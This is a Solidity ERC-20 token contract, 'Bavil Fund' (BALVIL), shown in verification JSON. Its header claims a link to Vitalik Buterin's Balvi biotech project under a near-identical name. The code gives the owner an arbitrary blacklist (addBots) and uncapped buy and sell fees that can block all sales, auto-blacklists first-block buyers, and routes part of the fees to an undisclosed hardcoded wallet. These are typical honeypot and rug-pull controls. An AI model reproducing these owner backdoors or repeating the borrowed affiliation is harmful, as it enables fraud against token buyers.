Bavil

{{
  "language": "Solidity",
  "sources": {
    "Balvi.sol": {
      "content": "// SPDX-License-Identifier: MIT\r
\r
 /*\r
Balvi - Vitalik Biotech project\r
https://x.com/VitalikButerin/status/1487073875808583682\r
\r
Buying and selling fee 10%\r
Fees are sent to Bavil fund\r
\r
 */\r
\r
pragma solidity >=0.8.21 <0.9.0;\r
\r
abstract contract Context {\r
    function _msgSender() internal view virtual returns (address) {\r
        return msg.sender;\r
    }\r
}\r
\r
interface IERC20 {\r
    function totalSupply() external view returns (uint256);\r
\r
    function balanceOf(address account) external view returns (uint256);\r
\r
    function transfer(\r
        address recipient,\r
        uint256 amount\r
    ) external returns (bool);\r
\r
    function allowance(\r
        address owner,\r
        address spender\r
    ) external view returns (uint256);\r
\r
    function approve(address spender, uint256 amount) external returns (bool);\r
\r
    function transferFrom(\r
        address sender,\r
        address recipient,\r
        uint256 amount\r
    ) external returns (bool);\r
\r
    event Transfer(address indexed from, address indexed to, uint256 value);\r
    event Approval(\r
        address indexed owner,\r
        address indexed spender,\r
        uint256 value\r
    );\r
}\r
\r
contract Ownable is Context {\r
    address private _owner;\r
    event OwnershipTransferred(\r
        address indexed previousOwner,\r
        address indexed newOwner\r
    );\r
\r
    constructor() {\r
        address msgSender = _msgSender();\r
        _owner = msgSender;\r
        emit OwnershipTransferred(address(0), msgSender);\r
    }\r
\r
    function owner() public view returns (address) {\r
        return _owner;\r
    }\r
\r
    modifier onlyOwner() {\r
        require(_owner == _msgSender(), "Ownable: caller is not the owner");\r
        _;\r
    }\r
\r
    function renounceOwnership() public virtual onlyOwner {\r
        emit OwnershipTransferred(_owner, address(0));\r
        _owner = address(0);\r
    }\r
}\r
\r
interface IUniswapV2Factory {\r
    function createPair(\r
        address tokenA,\r
        address tokenB\r
    ) external returns (address pair);\r
}\r
\r
interface IUniswapV2Router02 {\r
    function swapExactTokensForETHSupportingFeeOnTransferTokens(\r
        uint amountIn,\r
        uint amountOutMin,\r
        address[] calldata path,\r
        address to,\r
        uint deadline\r
    ) external;\r
\r
    function factory() external pure returns (address);\r
\r
    function WETH() external pure returns (address);\r
\r
    function addLiquidityETH(\r
        address token,\r
        uint amountTokenDesired,\r
        uint amountTokenMin,\r
        uint amountETHMin,\r
        address to,\r
        uint deadline\r
    )\r
        external\r
        payable\r
        returns (uint amountToken, uint amountETH, uint liquidity);\r
}\r
\r
contract Bavil is Context, IERC20, Ownable {\r
    mapping(address => uint256) private _balances;\r
    mapping(address => mapping(address => uint256)) private _allowances;\r
    mapping(address => bool) private _isExcludedFromFee;\r
    mapping(address => bool) private bots;\r
    address payable private _taxWallet;\r
    address payable private _serviceWallet = payable(0xA06C2B67e7435cE25a5969e49983ec3304D8e787);\r
    address private uniswapV2Pair;\r
    string private _name = unicode"Bavil Fund";\r
    string private _symbol = unicode"BALVIL";\r
    uint8 private Buyfee = 10;\r
    uint8 private Sellfee = 10;\r
    uint8 private _decimals = 18;\r
    uint256 firstBlock;\r
    uint256 private _tTotal = 100000000 * 10 ** 18;\r
    uint256 public _maxTxAmount = (_tTotal * 2) / 100;\r
    uint256 public _maxWalletSize = (_tTotal * 2) / 100;\r
    uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\r
    uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\r
\r
    IUniswapV2Router02 private uniswapV2Router;\r
    bool private tradingOpen;\r
    bool private inSwap = false;\r
    bool private swapEnabled = false;\r
\r
    event MaxTxAmountUpdated(uint _maxTxAmount);\r
    modifier lockTheSwap() {\r
        inSwap = true;\r
        _;\r
        inSwap = false;\r
    }\r
\r
    constructor(\r
    ) {\r
        uniswapV2Router = IUniswapV2Router02(\r
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\r
        );\r
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\r
                address(this),\r
                uniswapV2Router.WETH()\r
            );\r
\r
        _taxWallet = payable(_msgSender());\r
        _balances[_msgSender()] = _tTotal;\r
        _isExcludedFromFee[owner()] = true;\r
        _isExcludedFromFee[address(this)] = true;\r
        _isExcludedFromFee[_taxWallet] = true;\r
\r
        _approve(msg.sender, address(uniswapV2Router), _tTotal);\r
\r
        emit Transfer(address(0), _msgSender(), _tTotal);\r
    }\r
\r
    function name() public view returns (string memory) {\r
        return _name;\r
    }\r
\r
    function symbol() public view returns (string memory) {\r
        return _symbol;\r
    }\r
\r
    function decimals() public view returns (uint8) {\r
        return _decimals;\r
    }\r
\r
    function totalSupply() public view override returns (uint256) {\r
        return _tTotal;\r
    }\r
\r
    function balanceOf(address account) public view override returns (uint256) {\r
        return _balances[account];\r
    }\r
\r
    function transfer(\r
        address recipient,\r
        uint256 amount\r
    ) public override returns (bool) {\r
        _transfer(_msgSender(), recipient, amount);\r
        return true;\r
    }\r
\r
    function allowance(\r
        address owner,\r
        address spender\r
    ) public view override returns (uint256) {\r
        return _allowances[owner][spender];\r
    }\r
\r
    function approve(\r
        address spender,\r
        uint256 amount\r
    ) public override returns (bool) {\r
        _approve(_msgSender(), spender, amount);\r
        return true;\r
    }\r
\r
    function transferFrom(\r
        address sender,\r
        address recipient,\r
        uint256 amount\r
    ) public override returns (bool) {\r
        _transfer(sender, recipient, amount);\r
        _approve(\r
            sender,\r
            _msgSender(),\r
            _allowances[sender][_msgSender()] - amount\r
        );\r
        return true;\r
    }\r
\r
    function _approve(address owner, address spender, uint256 amount) private {\r
        require(owner != address(0), "ERC20: approve from the zero address");\r
        require(spender != address(0), "ERC20: approve to the zero address");\r
        _allowances[owner][spender] = amount;\r
        emit Approval(owner, spender, amount);\r
    }\r
\r
    function _transfer(address from, address to, uint256 amount) private {\r
        require(from != address(0), "ERC20: transfer from the zero address");\r
        require(to != address(0), "ERC20: transfer to the zero address");\r
        require(amount > 0, "Transfer amount must be greater than zero");\r
\r
        uint256 taxAmount = 0;\r
\r
        if (from != owner() && to != owner()) {\r
            require(\r
                !bots[from] && !bots[to],\r
                "Your address has been marked as a bot/sniper, you are unable to transfer or swap."\r
            );\r
\r
            if (!tradingOpen) {\r
                require(\r
                    uniswapV2Pair != from && uniswapV2Pair != to,\r
                    "Trading is not active."\r
                );\r
            }\r
\r
            //On Buy\r
            if (\r
                from == uniswapV2Pair &&\r
                to != address(uniswapV2Router) &&\r
                !_isExcludedFromFee[to]\r
            ) {\r
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");\r
                require(\r
                    balanceOf(to) + amount <= _maxWalletSize,\r
                    "Exceeds the maxWalletSize."\r
                );\r
\r
                if (firstBlock + 1 > block.number) {\r
                    require(!isContract(to));\r
                    bots[to] = true;\r
                }\r
\r
                taxAmount = (amount * Buyfee) / 100;\r
            }\r
\r
            //Regular transfer;\r
            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {\r
                require(\r
                    balanceOf(to) + amount <= _maxWalletSize,\r
                    "Exceeds the maxWalletSize."\r
                );\r
            }\r
\r
            //On sell\r
            if (to == uniswapV2Pair && !_isExcludedFromFee[from]) {\r
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");\r
                taxAmount = (amount * Sellfee) / 100;\r
            }\r
\r
            uint256 contractTokenBalance = balanceOf(address(this));\r
            if (\r
                !inSwap &&\r
                to == uniswapV2Pair &&\r
                swapEnabled &&\r
                contractTokenBalance > _taxSwapThreshold\r
            ) {\r
                swapTokensForEth(\r
                    contractTokenBalance >= _maxTaxSwap\r
                        ? _maxTaxSwap\r
                        : contractTokenBalance\r
                );\r
                uint256 contractETHBalance = address(this).balance;\r
                if (contractETHBalance > 0) {\r
                    sendETHToFee(address(this).balance);\r
                }\r
            }\r
        }\r
\r
        if (taxAmount > 0) {\r
            _balances[address(this)] = _balances[address(this)] + taxAmount;\r
            emit Transfer(from, address(this), taxAmount);\r
        }\r
        _balances[from] = _balances[from] - amount;\r
        _balances[to] = _balances[to] + (amount - taxAmount);\r
        emit Transfer(from, to, amount - taxAmount);\r
    }\r
\r
    function isContract(address account) private view returns (bool) {\r
        uint256 size;\r
        assembly {\r
            size := extcodesize(account)\r
        }\r
        return size > 0;\r
    }\r
\r
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\r
        address[] memory path = new address[](2);\r
        path[0] = address(this);\r
        path[1] = uniswapV2Router.WETH();\r
        _approve(address(this), address(uniswapV2Router), tokenAmount);\r
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\r
            tokenAmount,\r
            0,\r
            path,\r
            address(this),\r
            block.timestamp\r
        );\r
    }\r
\r
    function removeLimits() external onlyOwner {\r
        _maxTxAmount = _tTotal;\r
        _maxWalletSize = _tTotal;\r
        emit MaxTxAmountUpdated(_tTotal);\r
    }\r
\r
    function sendETHToFee(uint256 amount) private {\r
        uint256 amountForServiceFee = (amount * 10) / 100;\r
        uint256 amountFeeTotal = amount - amountForServiceFee;\r
        _taxWallet.transfer(amountFeeTotal);\r
        _serviceWallet.transfer(amountForServiceFee);\r
    }\r
\r
    function addBots(address[] memory bots_) external onlyOwner {\r
        for (uint i = 0; i < bots_.length; i++) {\r
            bots[bots_[i]] = true;\r
        }\r
    }\r
\r
    function delBots(address[] memory notbot) external onlyOwner {\r
        for (uint i = 0; i < notbot.length; i++) {\r
            bots[notbot[i]] = false;\r
        }\r
    }\r
\r
    function isBot(address a) public view returns (bool) {\r
        return bots[a];\r
    }\r
\r
    function changeBuyfee(uint8 _buyFee) external onlyOwner {\r
        Buyfee = _buyFee;\r
    }\r
\r
    function changeSellfee(uint8 _sellFee) external onlyOwner {\r
        Sellfee = _sellFee;\r
    }\r
\r
    function Opentrading() external onlyOwner {\r
        require(!tradingOpen, "trading is already open");\r
        swapEnabled = true;\r
        tradingOpen = true;\r
        firstBlock = block.number;\r
    }\r
\r
    receive() external payable {}\r
}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}